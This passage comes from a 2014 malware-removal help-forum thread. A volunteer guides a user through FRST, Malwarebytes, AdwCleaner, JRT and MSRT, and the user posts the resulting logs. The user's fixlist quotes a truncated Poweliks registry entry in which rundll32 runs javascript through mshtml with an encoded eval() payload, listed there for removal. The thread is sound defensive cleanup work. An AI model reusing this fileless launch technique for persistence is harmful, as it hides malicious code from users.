(EventID: 10010) (User: )Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}Error: (12/29/2014 08:01:19 AM) (Source: Service Control Manager) (EventID: 7001) (User: )Description: The Network List Service service depends on the Network Location Awareness service which failed to start because of the following error:%%1068Error: (12/29/2014 08:01:19 AM) (Source: DCOM) (EventID: 10005) (User: )Description: 1068fdPHost{D3DCB472-7261-43CE-924B-0704BD730D5F}Microsoft Office Sessions:=========================Error: (12/29/2014 09:36:35 AM) (Source: SideBySide) (EventID: 33) (User: )Description: rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"C:\Windows\Installer\{C8E8D2E3-EF6A-4B1D-A09E-7B27EBE2F3CE}\recordingmanager.exeError: (12/29/2014 09:36:35 AM) (Source: SideBySide) (EventID: 33) (User: )Description: rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"C:\Windows\Installer\{C8E8D2E3-EF6A-4B1D-A09E-7B27EBE2F3CE}\recordingmanager.exeError: (12/29/2014 09:28:09 AM) (Source: SideBySide) (EventID: 33) (User: )Description: rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"C:\Windows\Installer\{C8E8D2E3-EF6A-4B1D-A09E-7B27EBE2F3CE}\recordingmanager.exeError: (12/29/2014 09:28:09 AM) (Source: SideBySide) (EventID: 33) (User: )Description: rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"C:\Windows\Installer\{C8E8D2E3-EF6A-4B1D-A09E-7B27EBE2F3CE}\recordingmanager.exeError: (12/29/2014 07:57:18 AM) (Source: SideBySide) (EventID: 33) (User: )Description: rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"C:\Windows\Installer\{C8E8D2E3-EF6A-4B1D-A09E-7B27EBE2F3CE}\recordingmanager.exeError: (12/29/2014 07:57:18 AM) (Source: SideBySide) (EventID: 33) (User: )Description: rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"C:\Windows\Installer\{C8E8D2E3-EF6A-4B1D-A09E-7B27EBE2F3CE}\recordingmanager.exeError: (12/29/2014 07:43:31 AM) (Source: SideBySide) (EventID: 33) (User: )Description: rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"C:\Windows\Installer\{C8E8D2E3-EF6A-4B1D-A09E-7B27EBE2F3CE}\recordingmanager.exeError: (12/28/2014 09:54:15 PM) (Source: SideBySide) (EventID: 33) (User: )Description: rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"C:\Windows\Installer\{C8E8D2E3-EF6A-4B1D-A09E-7B27EBE2F3CE}\recordingmanager.exeError: (12/28/2014 09:54:15 PM) (Source: SideBySide) (EventID: 33) (User: )Description: rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"C:\Windows\Installer\{C8E8D2E3-EF6A-4B1D-A09E-7B27EBE2F3CE}\recordingmanager.exeError: (12/28/2014 06:50:05 PM) (Source: SideBySide) (EventID: 33) (User: )Description: rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"C:\Windows\Installer\{C8E8D2E3-EF6A-4B1D-A09E-7B27EBE2F3CE}\recordingmanager.exe==================== Memory info ===========================Processor: AMD Phenom II X6 1055T ProcessorPercentage of memory in use: 85%Total physical RAM: 4093.55 MBAvailable physical RAM: 608.54 MBTotal Pagefile: 8185.29 MBAvailable Pagefile: 3038.77 MBTotal Virtual: 8192 MBAvailable Virtual: 8191.82 MB==================== Drives ================================Drive c: () (Fixed) (Total:465.66 GB) (Free:166.36 GB) NTFS==================== MBR & Partition Table ==========================================================================Disk: 0 (MBR Code: Windows 7 or 8) (Size: 465.8 GB) (Disk ID: 8B5C0056)Partition 1: (Active) - (Size=100 MB) - (Type=07 NTFS)Partition 2: (Not Active) - (Size=465.7 GB) - (Type=07 NTFS)==================== End Of Log ============================ Link to post Share on other sites More sharing options...
kevinf80 Posted December 29, 2014 ID:923892 Share Posted December 29, 2014 Hello and welome, P2P/Piracy Warning: If you're using Peer 2 Peer software such as uTorrent, BitTorrent or similar you must either fully uninstall them or completely disable them from running while being assisted here.Failure to remove or disable such software will result in your topic being closed and no further assistance being provided.If you have illegal/cracked software, cracks, keygens etc. on the system, please remove or uninstall them now and read the policy on Piracy. Download attached fixlist.txt file (end of reply) and save it to the Desktop, or the folder you saved FRST into.NOTE. It's important that both FRST and fixlist.txt are in the same location or the fix will not work. Run FRST and press the Fix button just once and wait.The tool will make a log on the Desktop (Fixlog.txt) or the folder it was ran from. Please post it to your reply. Next, Open Malwarebytes Anti-Malware, from the Dashboard please Check for Updates by clicking the Update Now... linkWhen the update completes select > Settings > Detection and Protection > Enable Scan for rootkit and Under Non Malware Protection set both PUP and PUM to Treat detections as malware. Click on the SCAN button and run a Threat Scan with Malwarebytes Anti-Malware by clicking the Scan Now>> button. When the scan is complete, if there have been detections, click Apply Actions to allow MBAM to clean what was detected. In most cases, a restart will be required. Wait for the prompt to restart the computer to appear, then click on Yes. When the scan is completed from the main GUI click on History > Application Logs. Find your scan log, the date when run will identify it. Checkmark "select" box > then hit the "view" button. The history log window will open. At the bottom of that window are two options, "Copy to clipboard" and "Export" Select > "Copy to clipboard" that copies the full log to the windows clipboard, so at your reply you right click into the text field and select "Paste" the log is pasted (copied) to your reply. Or select "Export" you are given the option to export as a Text file (*.txt) or XML file (*.xml) Choose text file, save the exported file to a place of your choice. That file can be attached to your reply... Next, Download AdwCleaner by Xplode onto your Desktop. Double click on Adwcleaner.exe to run the tool. Click on Scan Once the scan is done, click on the Clean button. You will get a prompt asking to close all programs. Click OK. Click OK again to reboot your computer. A text file will open after the restart. Please post the content of that logfile in your reply. You can also find the logfile at C:\AdwCleaner[sn].txt. Where n in the scan reference number Next, Please download Junkware Removal Tool to your desktop.Shut down your protection software now to avoid potential conflicts. (re-enable when done)Run the tool by double-clicking it. If you are using Windows Vista, 7, or 8; instead of double-clicking, right-mouse click JRT.exe and select "Run as Administrator".The tool will open and start scanning your system.Please be patient as this can take a while to complete depending on your system's specifications.On completion, a log (JRT.txt) is saved to your desktop and will automatically open.Post the contents of JRT.txt into your next message. Next, Download Microsoft's " Malicious Software Removal Tool" and save direct to the desktopEnsure to get the correct version for your system.... 32 Bit version:https://www.microsoft.com/downloads/en/confirmation.aspx?FamilyId=AD724AE0-E72D-4F54-9AB3-75B8EB148356&displaylang=en64 Bit version:https://www.microsoft.com/downloads/en/confirmation.aspx?FamilyId=585D2BDE-367F-495E-94E7-6349F4EFFC74&displaylang=en'>https://www.microsoft.com/downloads/en/confirmation.aspx?FamilyId=585D2BDE-367F-495E-94E7-6349F4EFFC74&displaylang=en Right click on the Tool, select “Run as Administrator” the tool will expand to the options WindowIn the "Scan Type" window, select Quick ScanPerform a scan and Click Finish when the scan is done.Retrieve the MSRT log as follows, and post it in your next reply: 1) Select the Windows key and R key together to open the "Run" function2) Type or Copy/Paste the following command to the "Run Line" and Press Enter: notepad c:\windows\debug\mrt.log Let me see those logs, also give an update on any remaining issues or concerns... Thanks, Kevin... Fixlist.txt Link to post Share on other sites More sharing options...
caracaldad Posted December 30, 2014 Author ID:924303 Share Posted December 30, 2014 Thanks, I'll do as you instruct later today. Just an FYI to the moderator - I'm not getting any email from Malwarebytes - and no, it's not going into my 'junk' folder. I only discovered this reply to my post by logging in to find it here. I also didn't get the email to confirm my log in ID and password until I came back to the site and asked it to resend. Thanks again for the quick reply, AF Link to post Share on other sites More sharing options...
kevinf80 Posted December 30, 2014 ID:924319 Share Posted December 30, 2014 Regarding your "FYI" I have nothing to do with Malwarebytes, same as most of the volunteers at this Forum. Probably a better option is to send a PM direct to one of the Moderators. Cheers, Kevin... Link to post Share on other sites More sharing options...
caracaldad Posted December 31, 2014 Author ID:924565 Share Posted December 31, 2014 Yer a volunteer? Wow, you're makin' brownie points in the "Good Karma" column for doing this - it is REALLY appreciated! Per your instructions:I ran Fixlist, log below (please note I don't see any way to attach a file for this reply). I ran Malwarebytes, log below - it did not find anything. I ran AdwCleaner, logs below - it did not appear to find anything. I temporarily disabled Microsoft Security Essentials. I ran Junkware Removal Tool - it did not appear to find anything. I re-enabled Microsoft Security Essentials. I ran Microsoft's Malicious Software Removal Tool (64-bit), it error'd out after about 15,400 files, log below. Thanks again for taking part of the New Year holiday to help out a poor schmuck who clicked on something he shouldn't have!!! ____________________________________________Fixlist.txt startHKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\MountPoints2: {4c96ad0d-cb85-11e2-80f0-1c6f6527da81} - E:\StartClickFreeBackup.exeHKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\MountPoints2: {65db583b-d7dc-11e1-ad8a-1c6f6527da81} - E:\LaunchU3.exe -aHKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...A8F59079A8D5}\localserver32: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf> (the data entry has 243 more characters). <==== Poweliks!S3 gdrv; \??\C:\Windows\gdrv.sys [X]C:\Users\Hagar\AppData\Local\Temp\6bak3aub.dllC:\Users\Hagar\AppData\Local\Temp\dropbox_sqlite_ext.{5f3e3153-5bce-5766-8f84-3e3e7ecf0d81}.tmpws_vhc.dllC:\Users\Hagar\AppData\Local\Temp\jre-7u45-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u51-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u55-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u65-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u67-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u71-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\lowproc.exeC:\Users\Hagar\AppData\Local\Temp\MouseKeyboardCenterx64_1033.exeC:\Users\Hagar\AppData\Local\Temp\siinst.exeC:\Users\Hagar\AppData\Local\Temp\siuninst.exeC:\Users\Hagar\AppData\Local\Temp\strings.dllC:\Users\Hagar\AppData\Local\Temp\stubhelper.dllCustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32 -> rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf> (the data entry has 251 more characters). <==== Poweliks?EmptyTemp:end _________________________________________Malwarebytes Run Log Malwarebytes Anti-Malwarewww.malwarebytes.orgScan Date: 12/31/2014Scan Time: 7:14:53 AMLogfile: Malwarebytes_Run_Log.txtAdministrator: YesVersion: 2.00.4.1028Malware Database: v2014.12.31.02Rootkit Database: v2014.12.30.01License: PremiumMalware Protection: EnabledMalicious Website Protection: EnabledSelf-protection: EnabledOS: Windows 7 Service Pack 1CPU: x64File System: NTFSUser: HagarScan Type: Custom ScanResult: CompletedObjects Scanned: 367521Time Elapsed: 10 min, 9 secMemory: EnabledStartup: EnabledFilesystem: DisabledArchives: EnabledRootkits: EnabledHeuristics: EnabledPUP: EnabledPUM: EnabledProcesses: 0(No malicious items detected)Modules: 0(No malicious items detected)Registry Keys: 0(No malicious items detected)Registry Values: 0(No malicious items detected)Registry Data: 0(No malicious items detected)Folders: 0(No malicious items detected)Files: 0(No malicious items detected)Physical Sectors: 0(No malicious items detected)(end) ________________________________________________________AdwCleaner[RO].txt # AdwCleaner v4.106 - Report created 31/12/2014 at 07:27:47# Updated 21/12/2014 by Xplode# Database : 2014-12-30.1 [Live]# Operating System : Windows 7 Professional Service Pack 1 (64 bits)# Username : Hagar - HAGAR-PC# Running from : C:\Copy\AdwCleaner.exe# Option : Scan***** [ Services ] ********** [ Files / Folders ] *****File Found : C:\ENDFile Found : C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Local Storage\hxxps_static.olark.com_0.localstorage-journalFolder Found : C:\Users\Hagar\AppData\LocalLow\AVG Security Toolbar***** [ Scheduled Tasks ] ********** [ Shortcuts ] ********** [ Registry ] *****Key Found : HKCU\Software\ConduitKey Found : HKCU\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage\delta.comKey Found : HKCU\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage\softonic.comKey Found : HKCU\Software\YahooPartnerToolbarKey Found : [x64] HKCU\Software\ConduitKey Found : [x64] HKCU\Software\YahooPartnerToolbarKey Found : HKLM\SOFTWARE\Classes\CLSID\{CC5AD34C-6F10-4CB3-B74A-C2DD4D5060A3}Key Found : HKLM\SOFTWARE\Classes\CLSID\{E7DF6BFF-55A5-4EB7-A673-4ED3E9456D39}Key Found : HKLM\SOFTWARE\Classes\Interface\{03E2A1F3-4402-4121-8B35-733216D61217}Key Found : HKLM\SOFTWARE\Classes\Interface\{9E3B11F6-4179-4603-A71B-A55F4BCB0BEC}Key Found : HKLM\SOFTWARE\Classes\TypeLib\{9C049BA6-EA47-4AC3-AED6-A66D8DC9E1D8}Key Found : [x64] HKLM\SOFTWARE\Classes\Interface\{03E2A1F3-4402-4121-8B35-733216D61217}Key Found : [x64] HKLM\SOFTWARE\Classes\Interface\{9E3B11F6-4179-4603-A71B-A55F4BCB0BEC}Key Found : [x64] HKLM\SOFTWARE\DivX\Install\Setup\WizardLayout\ConduitToolbarKey Found : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\00E944CB89111313EAF35A0553F547F9Key Found : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\53F55AF3F4049ED3FA6EA6F88E414E24Key Found : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\68E4BF4B11615E03C97732FD581AB607Key Found : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8CE3DDAB2D152683FBCEB4866BCD2B0FKey Found : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AF6CE16AFEA5C9A39B766468A8B35C21Key Found : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\FB1E44269B58F433A8C8E671E37CFDCFValue Found : HKCU\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{CCC7A320-B3CA-4199-B1A6-9F516DD69829}]Value Found : HKCU\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{E7DF6BFF-55A5-4EB7-A673-4ED3E9456D39}]Value Found : HKLM\SOFTWARE\Microsoft\Internet Explorer\Toolbar [{CCC7A320-B3CA-4199-B1A6-9F516DD69829}]***** [ Browsers ] *****-\\ Internet Explorer v11.0.9600.17496-\\ Mozilla Firefox v27.0 (en-US)-\\ Google Chrome v[C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Web data] - Found [search Provider] : hxxp://isearch.avg.com/search?cid={08A5087F-10F8-4449-B49A-DA62111D4B39}&mid=54790292cf099f538c27f40f9cdac0ed-99eee8819d4ca9a02627d1c92f9bf5948a0fb0a3〈=us&ds=AVG&pr=pa&d=2011-12-08 08:43:47&v=11.1.0.12&sap=dsp&q={searchTerms}[C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Web data] - Found [search Provider] : hxxp://search.aol.com/aol/search?q={searchTerms}[C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Web data] - Found [search Provider] : hxxp://www.ask.com/web?q={searchTerms}*************************AdwCleaner[R0].txt - [3613 octets] - [31/12/2014 07:27:47]########## EOF - C:\AdwCleaner\AdwCleaner[R0].txt - [3673 octets] ########## _________________________________________________AdwCleaner[sO].txt # AdwCleaner v4.106 - Report created 31/12/2014 at 07:29:53# Updated 21/12/2014 by Xplode# Database : 2014-12-30.1 [Live]# Operating System : Windows 7 Professional Service Pack 1 (64 bits)# Username : Hagar - HAGAR-PC# Running from : C:\Copy\AdwCleaner.exe# Option : Clean***** [ Services ] ********** [ Files / Folders ] *****Folder Deleted : C:\Users\Hagar\AppData\LocalLow\AVG Security ToolbarFile Deleted : C:\ENDFile Deleted : C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Local Storage\hxxps_static.olark.com_0.localstorage-journal***** [ Scheduled Tasks ] ********** [ Shortcuts ] ********** [ Registry ] *****Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{CC5AD34C-6F10-4CB3-B74A-C2DD4D5060A3}Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{E7DF6BFF-55A5-4EB7-A673-4ED3E9456D39}Key Deleted : HKLM\SOFTWARE\Classes\Interface\{03E2A1F3-4402-4121-8B35-733216D61217}Key Deleted : HKLM\SOFTWARE\Classes\Interface\{9E3B11F6-4179-4603-A71B-A55F4BCB0BEC}Key Deleted : HKLM\SOFTWARE\Classes\TypeLib\{9C049BA6-EA47-4AC3-AED6-A66D8DC9E1D8}Value Deleted : HKLM\SOFTWARE\Microsoft\Internet Explorer\Toolbar [{CCC7A320-B3CA-4199-B1A6-9F516DD69829}]Value Deleted : HKCU\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{CCC7A320-B3CA-4199-B1A6-9F516DD69829}]Value Deleted : HKCU\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{E7DF6BFF-55A5-4EB7-A673-4ED3E9456D39}]Key Deleted : [x64] HKLM\SOFTWARE\Classes\Interface\{03E2A1F3-4402-4121-8B35-733216D61217}Key Deleted : [x64] HKLM\SOFTWARE\Classes\Interface\{9E3B11F6-4179-4603-A71B-A55F4BCB0BEC}Key Deleted : HKCU\Software\ConduitKey Deleted : HKCU\Software\YahooPartnerToolbarKey Deleted : [x64] HKLM\SOFTWARE\DivX\Install\Setup\WizardLayout\ConduitToolbarKey Deleted : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\00E944CB89111313EAF35A0553F547F9Key Deleted : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\53F55AF3F4049ED3FA6EA6F88E414E24Key Deleted : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\68E4BF4B11615E03C97732FD581AB607Key Deleted : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8CE3DDAB2D152683FBCEB4866BCD2B0FKey Deleted : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AF6CE16AFEA5C9A39B766468A8B35C21Key Deleted : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\FB1E44269B58F433A8C8E671E37CFDCFKey Deleted : HKCU\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage\delta.comKey Deleted : HKCU\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage\softonic.com***** [ Browsers ] *****-\\ Internet Explorer v11.0.9600.17496-\\ Mozilla Firefox v27.0 (en-US)-\\ Google Chrome v[C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [search Provider] : hxxp://isearch.avg.com/search?cid={08A5087F-10F8-4449-B49A-DA62111D4B39}&mid=54790292cf099f538c27f40f9cdac0ed-99eee8819d4ca9a02627d1c92f9bf5948a0fb0a3〈=us&ds=AVG&pr=pa&d=2011-12-08 08:43:47&v=11.1.0.12&sap=dsp&q={searchTerms}[C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [search Provider] : hxxp://search.aol.com/aol/search?q={searchTerms}[C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Web Data] - Deleted [search Provider] : hxxp://www.ask.com/web?q={searchTerms}*************************AdwCleaner[R0].txt - [3797 octets] - [31/12/2014 07:27:47]AdwCleaner[s0].txt - [3642 octets] - [31/12/2014 07:29:53]########## EOF - C:\AdwCleaner\AdwCleaner[s0].txt - [3702 octets] ########## ______________________________________________________JRT Log ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Junkware Removal Tool (JRT) by ThisisuVersion: 6.4.1 (12.28.2014:1)OS: Windows 7 Professional x64Ran by Hagar on Wed 12/31/2014 at 7:42:02.99~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Services ~~~ Registry Values ~~~ Registry Keys ~~~ Files ~~~ FoldersSuccessfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{07A981E4-6366-4E1C-B047-3363C6312B9E}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{0FACE92B-9A20-48C0-B96E-573F0540B9E7}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{1984A1AD-E030-4683-9507-CAD37864C29A}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{2619669C-69F2-4688-956A-2FFE09FFA2D4}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{2F54AD8F-1D48-4995-B5EF-45774515A7C3}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{306F4573-B25C-4280-BB33-A5541530EA99}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{4175528A-E7E4-43E9-AD0F-79DA4C0EA70C}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{50221507-0DD1-41E9-AEAB-9FBFD1DED44F}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{56D6CB78-A844-44BB-8088-EFAA0109513C}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{642A67A0-038A-46C9-B130-B1042D260B6A}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{6679D89E-8C33-4A4D-9CAF-ACE659BF1E3C}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{6AEBB83B-8365-4758-A72E-8B575F1F93E4}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{88A90EF2-B478-4520-8D21-71642D1F12A4}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{9B8FBF39-D001-4761-90B3-5A3B69E2F782}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{B0389231-A31E-437E-880D-F7A4FFBD2942}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{B97F70F6-2E14-4EAD-AD6F-2C9C7479D42E}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{F54FAF9D-3853-482C-8F10-872E3210DDB9}Successfully deleted: [Empty Folder] C:\Users\Hagar\appdata\local\{FA66B034-9392-4E14-8741-642EB54CA23E} ~~~ FireFoxSuccessfully deleted the following from C:\Users\Hagar\AppData\Roaming\mozilla\firefox\profiles\s1ilaic7.default\prefs.jsuser_pref("browser.startup.homepage", "hxxps://duckduckgo.com/");Emptied folder: C:\Users\Hagar\AppData\Roaming\mozilla\firefox\profiles\s1ilaic7.default\minidumps [8 files] ~~~ Event Viewer Logs were cleared ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Scan was completed on Wed 12/31/2014 at 7:47:33.92End of JRT log~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ________________________________________________mrt.log ---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v3.7, May 2010Started On Mon May 24 14:32:57 2010WARNING: Security policy doesn't allow for all actions MSRT may require.->Scan ERROR: resource process://pid:928 (code 0x00000005 (5))->Scan ERROR: resource process://pid:2572 (code 0x00000057 (87))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Mon May 24 14:33:30 2010Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v3.10, August 2010Started On Fri Aug 13 07:24:43 2010WARNING: Security policy doesn't allow for all actions MSRT may require.->Scan ERROR: resource process://pid:1296 (code 0x00000005 (5))->Scan ERROR: resource process://pid:3172 (code 0x0000012B (299))-> Sysclean ERROR: Internal error, code = 80508015Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Fri Aug 13 07:26:19 2010Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v3.11, September 2010Started On Wed Sep 15 18:54:50 2010WARNING: Security policy doesn't allow for all actions MSRT may require.->Scan ERROR: resource process://pid:7552 (code 0x00000005 (5))Engine internal result code = 80508015Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Sep 15 18:55:41 2010Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v3.12, October 2010Started On Thu Oct 14 12:58:01 2010WARNING: Security policy doesn't allow for all actions MSRT may require.->Scan ERROR: resource process://pid:1484 (code 0x00000005 (5))Engine internal result code = 80508015Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Thu Oct 14 12:59:29 2010Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v3.13, November 2010Started On Wed Nov 10 08:14:35 2010->Scan ERROR: resource process://pid:1412 (code 0x00000005 (5))Engine internal result code = 80508015Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Nov 10 08:15:24 2010Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v3.14, December 2010Started On Thu Dec 16 08:17:03 2010Engine internal result code = 80508015Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Thu Dec 16 08:17:56 2010Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v3.15, January 2011Started On Thu Jan 13 08:43:15 2011->Scan ERROR: resource process://pid:7164 (code 0x00000005 (5))Engine internal result code = 80508015Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Thu Jan 13 08:44:11 2011Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v3.16, February 2011Started On Fri Feb 11 08:39:03 2011->Scan ERROR: resource process://pid:4288 (code 0x00000005 (5))Engine internal result code = 80508015Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Fri Feb 11 08:40:04 2011Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v3.17, March 2011Started On Wed Mar 09 16:23:11 2011Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Mar 09 16:24:09 2011Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v3.18, April 2011Started On Fri Apr 15 07:59:11 2011->Scan ERROR: resource process://pid:4444 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Fri Apr 15 08:00:13 2011Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v3.18, April 2011Started On Wed Apr 27 07:43:37 2011->Scan ERROR: resource process://pid:5480 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Apr 27 07:44:50 2011Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v3.19, May 2011Started On Fri May 13 08:00:07 2011->Scan ERROR: resource process://pid:1100 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Fri May 13 08:01:16 2011Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v3.20, June 2011Started On Wed Jun 15 08:09:53 2011->Scan ERROR: resource process://pid:2668 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Jun 15 08:11:04 2011Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v3.21, July 2011Started On Wed Jul 13 16:35:53 2011->Scan ERROR: resource process://pid:4308 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Jul 13 16:37:04 2011Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v3.22, August 2011Started On Wed Aug 10 07:49:38 2011->Scan ERROR: resource process://pid:6316 (code 0x00000490 (1168))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Aug 10 07:50:34 2011Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.0, September 2011Started On Thu Sep 15 20:50:39 2011->Scan ERROR: resource process://pid:15500 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Thu Sep 15 20:51:51 2011Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.0, September 2011Started On Wed Sep 28 20:36:40 2011Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Sep 28 20:37:52 2011Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.1, October 2011Started On Sun Oct 16 20:30:46 2011Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Sun Oct 16 20:32:17 2011Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.2, November 2011Started On Wed Nov 09 21:54:45 2011->Scan ERROR: resource process://pid:2996 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Nov 09 21:56:06 2011Return code: 0 